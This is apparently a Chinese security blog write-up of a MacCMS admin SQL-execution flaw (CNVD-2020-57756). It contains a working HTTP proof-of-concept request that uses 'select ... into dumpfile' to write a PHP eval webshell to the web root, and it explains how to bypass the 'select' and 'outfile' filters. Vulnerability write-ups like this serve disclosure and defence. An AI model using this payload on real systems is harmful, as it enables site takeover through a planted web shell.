首页 > 数据库 >苹果CMS sql注入(CNVD-2020-57756)

苹果CMS sql注入(CNVD-2020-57756)

时间:2024-08-10 08:58:36浏览次数:12  
标签:语句 文件 CNVD outfile 2020 sql 绕过 xinhu

侵权声明

本文章中的所有内容(包括但不限于文字、图像和其他媒体)仅供教育和参考目的。如果在本文章中使用了任何受版权保护的材料,我们满怀敬意地承认该内容的版权归原作者所有。

如果您是版权持有人,并且认为您的作品被侵犯,请通过以下方式与我们联系: [[email protected]]。我们将在确认后的合理时间内采取适当措施,包括删除相关内容。

感谢您的理解与支持

描述

后台数据库模块的执行sql语句的输入框可以在绕过的情况下进制一句话文件的写入。从而达到文件上传的目的。存在问题的目录如下:application\admin\controller\Database.php

版本

2024.1000.4043

POC

POST /admin.php/admin/database/sql.html HTTP/1.1
Host: host
Content-Length: 162
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: deviceid=1722062988348; xinhu_ca_rempass=0; xinhu_mo_adminid=yy0nm0mjj0mjn0vy0mmj0vk0mmn0mjm0iq0mjz0mjz0iv0vi0iu0nv07; xinhu_ca_adminuser=rock; t00ls=e54285de394c4207cd521213cebab040; t00ls_s=YTozOntzOjQ6InVzZXIiO3M6MjY6InBocCB8IHBocD8gfCBwaHRtbCB8IHNodG1sIjtzOjM6ImFsbCI7aTowO3M6MzoiaHRhIjtpOjE7fQ%3D%3D; Hm_lvt_f6f37dc3416ca514857b78d0b158037e=1723172185; DedeUserID=1; DedeUserID1BH21ANI1AGD297L1FF21LN02BGE1DNG=3a2cdfed8edffe57; DedeLoginTime=1723190565; DedeLoginTime1BH21ANI1AGD297L1FF21LN02BGE1DNG=9f6e455551874f96; PHPSESSID=2c0harmim0vftioojbj8nqvibs
Connection: keep-alive

__token__=6ffe6f2213f3ab54515b904dff3d2923&sql=%2F**%2Fselect+'%3C%3Fphp+%40eval(%24_POST%5B1%5D)%3B'+into+dumpfile+'C%3A%2Fphpstudy_pro%2FWWW%2Fmaccms10%2F1.php'

分析

通过poc可知文件位置
分析.png
前面主要是验证token是否有效,然后就将param数组中的sql语句直接赋值给参数sql
看到第一个红框位置
strtolower(substr($sql,0,6))=="select"这一句是判断sql语句前六个字符先全部变为小写后判断是否为"select"字符串,这里可以在前加/**/注释符等其他绕过方法进行绕过。
stripos($sql, ' outfile') !== false这一句是判断sql语句中是否存在"outfile"关键字。这里可以用另一个文件写入函数dumpfile绕过。
红框二就是sql语句的执行,但是没有返回值,所以用报错和联合都是没有结果的只能用时间盲注。
当然sql语句文件上传是有要求的需要先关闭secure-file-priv

复现

1、将一句话上传到网站更目录

2、访问根目录的文件

修复

更新、进行更严格的过滤

总结

做了简单的防护但是可以轻松绕过。最重要的是文件写入有两个函数:outfile、dumpfile


免责声明

本博客所提供的技术知识和信息仅旨在教育和分享网络安全最佳实践,促进网络安全意识的提升。作者严禁将这些技术和信息用于任何非法或不道德的目的。

使用本博客内容而导致的任何违法行为或后果,作者不承担任何法律责任。所有读者在使用本博客的信息时,应自行承担风险,并确保遵守当地法律法规。

我们鼓励所有读者合法地使用所提供的信息和技术,致力于维护安全和负责任的网络环境。

感谢您的理解与支持。

标签:语句,文件,CNVD,outfile,2020,sql,绕过,xinhu
From: https://www.cnblogs.com/0kooo-yz/p/18351903

相关文章

  • mysql+vsftpd 实现FTP的虚拟用户
    mysql+vsftpd 实现FTP的虚拟用户1)安装相关软件包下载mysqlpam验证的软件包wgethttp://mirrors.sohu.com/fedora-epel/6Server/x86_64/pam_mysql-0.7-0.12.rc1.el6.x86_64.rpmhttp://mirrors.sohu.com/fedora-epel/6Server/x86_64/此网站是RHEL6.x的epel相关的软件包的......
  • linux下的mysql语句命令大全
    1.linux下启动mysql的命令:mysqladminstart/ect/init.d/mysqlstart(前面为mysql的安装路径)2.linux下重启mysql的命令:mysqladminrestart/ect/init.d/mysqlrestart(前面为mysql的安装路径)3.linux下关闭mysql的命令:mysqladmin-uroot-p......
  • Linux下修改Mysql的用户(root)的密码
    修改的用户都以root为列。一、拥有原来的myql的root的密码;  方法一:在mysql系统外,使用mysqladmin#mysqladmin-uroot-ppassword"test123"Enterpassword:【输入原来的密码】 方法二:通过登录mysql系统,#mysql-uroot-pEnterpassword:【输入原来的密码】mys......
  • 0001初识MySQL
    ##内容参考网课##笔记整理一,数据库基础知识1.数据库概念英文名称:Database,即存储数据的仓库;专业解释为存储在计算机磁盘上的有组织,可供享的大量数据的集合 类型关系数据库与非关系数据库两类,前者包含MySQL,Oracle,SQL,Server,SQLite等,后者包含Redis,MongoDB等数据库管理系......
  • MySQL(3)--SQL函数
    MySQL函数数字函数CEIL(x)/CEILING(x)向上取整selectceil(column_name)fromtable_name;FLOOR(x)向下取整selectfloor(column_name)fromtable_name;POW(x,y)/POWER(x,y)返回x的y次方selectname,age,POW(age,2)fromstudents;RAND()返回0到1的......
  • 基于flask+vue框架的基于MySQL的房屋中介系统[开题+论文+程序]-计算机毕设
    本系统(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。系统程序文件列表开题报告内容研究背景随着城市化进程的加速和房地产市场的蓬勃发展,房屋中介行业作为连接房东与租客、买家的桥梁,其重要性日益凸显。然而,传统房屋中介管理方式多......
  • sql数据库:日期函数
    sql数据库:日期函数日期函数CURDATE()/CURRENT_DATE()返回当前日期SELECTCURRENT_DATE,CURRENT_TIME,CURRENT_TIMESTAMPCURRENT_TIME()/CURTIME()返回当前时间CURRENT_TIMESTAMP()返回当前日期和时间DATEDIFF(d1,d2)计算日期d1->d2之间相隔的天数SELECTDATE......
  • mysql数据库:字符串函数
    mysql数据库:字符串函数mysql数据库:字符串函数concat(str1,str2,…strn)连接str1,str2,…,strn为一个字符串selectconcat('abc','def')replace(str,a,b)用字符串b替换str中所有出现的字符串ainsert(str,x,y,instr)将字符串str,从索引x开始,y个字符长度的子串替换为i......
  • 微信小程序上传图片链接到MySQL数据库
    我们首先要了解调用微信的api来上传图片他会在本地缓存来生成一个图片链接只能在你上传图片的设备打开当你清缓存之后这个链接也就失效了这个链接发给别人别人看不到图片相当于在同一网域局也“无”法打开这时候我们要借助外力例如引入vantWeapp组件库这个 VantWea......
  • 使用Python操作MySQL的多种方式
    目录MySQL简介安装与配置使用MySQLConnector/Python连接数据库执行SQL语句处理查询结果事务管理使用SQLAlchemy安装SQLAlchemy连接数据库定义模型执行查询事务管理使用DjangoORM安装Django配置数据库定义模型执行查询事务管理总结MySQL简介MySQL是一种开源的关系......